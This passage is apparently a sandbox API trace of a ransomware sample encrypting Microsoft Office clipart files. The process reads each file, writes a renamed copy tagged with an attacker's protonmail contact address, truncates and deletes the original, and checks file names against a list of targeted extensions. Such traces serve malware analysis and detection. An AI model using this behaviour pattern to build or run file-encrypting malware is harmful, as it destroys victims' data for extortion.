	[0086.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0086.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00136_.wmf")) returned 1
	[0086.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.935] lstrlenW (lpString=".doc") returned 4
	[0086.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.935] lstrlenW (lpString=".docx") returned 5
	[0086.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.935] lstrlenW (lpString=".pdf") returned 4
	[0086.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.935] lstrlenW (lpString=".xls") returned 4
	[0086.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.935] lstrlenW (lpString=".xlsx") returned 5
	[0086.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.935] lstrlenW (lpString=".ppt") returned 4
	[0086.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.935] lstrlenW (lpString=".zip") returned 4
	[0086.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.935] lstrlenW (lpString=".rar") returned 4
	[0086.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.935] lstrlenW (lpString=".bz2") returned 4
	[0086.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.935] lstrlenW (lpString=".7z") returned 3
	[0086.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.936] lstrlenW (lpString=".dbf") returned 4
	[0086.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.936] lstrlenW (lpString=".1cd") returned 4
	[0086.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.936] lstrlenW (lpString=".jpg") returned 4
	[0086.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.936] lstrlenW (lpString=".doc") returned 4
	[0086.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0086.936] lstrlenW (lpString=".docx") returned 5
	[0086.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0086.936] lstrlenW (lpString=".pdf") returned 4
	[0086.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0086.936] lstrlenW (lpString=".xls") returned 4
	[0086.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0086.936] lstrlenW (lpString=".xlsx") returned 5
	[0086.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0086.936] lstrlenW (lpString=".ppt") returned 4
	[0086.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0086.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.936] lstrlenW (lpString=".zip") returned 4
	[0086.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0086.936] lstrlenW (lpString=".rar") returned 4
	[0086.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString=".bz2") returned 4
	[0086.937] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString=".7z") returned 3
	[0086.937] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0086.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.937] lstrlenW (lpString=".dbf") returned 4
	[0086.937] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.937] lstrlenW (lpString=".1cd") returned 4
	[0086.937] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0086.937] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00136_.WMF") returned 68
	[0086.937] lstrlenW (lpString=".jpg") returned 4
	[0086.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0086.937] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0086.937] lstrlenW (lpString="BS00145_.WMF") returned 12
	[0086.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0086.938] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=1712) returned 1
	[0086.938] CloseHandle (hObject=0x2bc) returned 1
	[0086.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 0x220
	[0086.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0086.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0086.938] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.938] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0086.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0086.939] GetLastError () returned 0x0
	[0086.939] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x6b0, lpOverlapped=0x0) returned 1
	[0087.139] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x6c0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x6c0, lpOverlapped=0x0) returned 1
	[0087.140] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0087.140] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0087.140] SetEndOfFile (hFile=0x38c) returned 1
	[0088.560] CloseHandle (hObject=0x38c) returned 1
	[0088.902] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.902] SetEndOfFile (hFile=0x2bc) returned 1
	[0088.903] CloseHandle (hObject=0x2bc) returned 1
	[0088.903] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.903] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00145_.wmf")) returned 1
	[0089.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.013] lstrlenW (lpString=".doc") returned 4
	[0089.013] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.013] lstrlenW (lpString=".docx") returned 5
	[0089.013] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.013] lstrlenW (lpString=".pdf") returned 4
	[0089.013] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.013] lstrlenW (lpString=".xls") returned 4
	[0089.013] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.013] lstrlenW (lpString=".xlsx") returned 5
	[0089.013] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.013] lstrlenW (lpString=".ppt") returned 4
	[0089.013] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.013] lstrlenW (lpString=".zip") returned 4
	[0089.013] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.013] lstrlenW (lpString=".rar") returned 4
	[0089.013] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.013] lstrlenW (lpString=".bz2") returned 4
	[0089.013] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.013] lstrlenW (lpString=".7z") returned 3
	[0089.013] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.013] lstrlenW (lpString=".dbf") returned 4
	[0089.013] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.013] lstrlenW (lpString=".1cd") returned 4
	[0089.013] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.013] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.013] lstrlenW (lpString=".jpg") returned 4
	[0089.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.014] lstrlenW (lpString=".doc") returned 4
	[0089.014] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.014] lstrlenW (lpString=".docx") returned 5
	[0089.014] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.014] lstrlenW (lpString=".pdf") returned 4
	[0089.014] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.014] lstrlenW (lpString=".xls") returned 4
	[0089.014] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.014] lstrlenW (lpString=".xlsx") returned 5
	[0089.014] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.014] lstrlenW (lpString=".ppt") returned 4
	[0089.014] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.014] lstrlenW (lpString=".zip") returned 4
	[0089.014] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.014] lstrlenW (lpString=".rar") returned 4
	[0089.014] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.014] lstrlenW (lpString=".bz2") returned 4
	[0089.014] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.014] lstrlenW (lpString=".7z") returned 3
	[0089.014] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.014] lstrlenW (lpString=".dbf") returned 4
	[0089.014] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.014] lstrlenW (lpString=".1cd") returned 4
	[0089.014] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.014] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00145_.WMF") returned 68
	[0089.014] lstrlenW (lpString=".jpg") returned 4
	[0089.014] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.015] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.015] lstrlenW (lpString="BS01637_.WMF") returned 12
	[0089.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.016] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=3948) returned 1
	[0089.016] CloseHandle (hObject=0x2bc) returned 1
	[0089.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 0x220
	[0089.016] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.016] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.016] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.017] GetLastError () returned 0x0
	[0089.017] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0xf6c, lpOverlapped=0x0) returned 1
	[0089.019] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xf70, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xf70, lpOverlapped=0x0) returned 1
	[0089.020] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.020] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.020] SetEndOfFile (hFile=0x38c) returned 1
	[0089.020] CloseHandle (hObject=0x38c) returned 1
	[0089.021] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.021] SetEndOfFile (hFile=0x2bc) returned 1
	[0089.023] CloseHandle (hObject=0x2bc) returned 1
	[0089.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01637_.wmf")) returned 1
	[0089.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.024] lstrlenW (lpString=".doc") returned 4
	[0089.024] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.024] lstrlenW (lpString=".docx") returned 5
	[0089.024] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.024] lstrlenW (lpString=".pdf") returned 4
	[0089.024] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.024] lstrlenW (lpString=".xls") returned 4
	[0089.024] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.024] lstrlenW (lpString=".xlsx") returned 5
	[0089.024] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.024] lstrlenW (lpString=".ppt") returned 4
	[0089.024] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.024] lstrlenW (lpString=".zip") returned 4
	[0089.024] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.024] lstrlenW (lpString=".rar") returned 4
	[0089.024] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.024] lstrlenW (lpString=".bz2") returned 4
	[0089.024] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.024] lstrlenW (lpString=".7z") returned 3
	[0089.024] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.024] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.025] lstrlenW (lpString=".dbf") returned 4
	[0089.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.025] lstrlenW (lpString=".1cd") returned 4
	[0089.025] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.025] lstrlenW (lpString=".jpg") returned 4
	[0089.025] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.025] lstrlenW (lpString=".doc") returned 4
	[0089.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString=".docx") returned 5
	[0089.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.025] lstrlenW (lpString=".pdf") returned 4
	[0089.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString=".xls") returned 4
	[0089.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.025] lstrlenW (lpString=".xlsx") returned 5
	[0089.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.025] lstrlenW (lpString=".ppt") returned 4
	[0089.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.025] lstrlenW (lpString=".zip") returned 4
	[0089.025] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.025] lstrlenW (lpString=".rar") returned 4
	[0089.025] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString=".bz2") returned 4
	[0089.025] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString=".7z") returned 3
	[0089.025] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.025] lstrlenW (lpString=".dbf") returned 4
	[0089.025] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.025] lstrlenW (lpString=".1cd") returned 4
	[0089.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01637_.WMF") returned 68
	[0089.026] lstrlenW (lpString=".jpg") returned 4
	[0089.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.026] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.026] lstrlenW (lpString="BS01638_.WMF") returned 12
	[0089.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.026] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=10538) returned 1
	[0089.026] CloseHandle (hObject=0x2bc) returned 1
	[0089.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220
	[0089.026] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.026] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0089.027] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.027] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.027] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0089.027] GetLastError () returned 0x0
	[0089.027] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x292a, lpOverlapped=0x0) returned 1
	[0089.028] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2930, lpOverlapped=0x0) returned 1
	[0089.029] ReadFile (in: hFile=0x2bc, lpBuffer=0x32cc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.029] WriteFile (in: hFile=0x38c, lpBuffer=0x32cc020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x32cc020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.030] SetEndOfFile (hFile=0x38c) returned 1
	[0089.030] CloseHandle (hObject=0x38c) returned 1
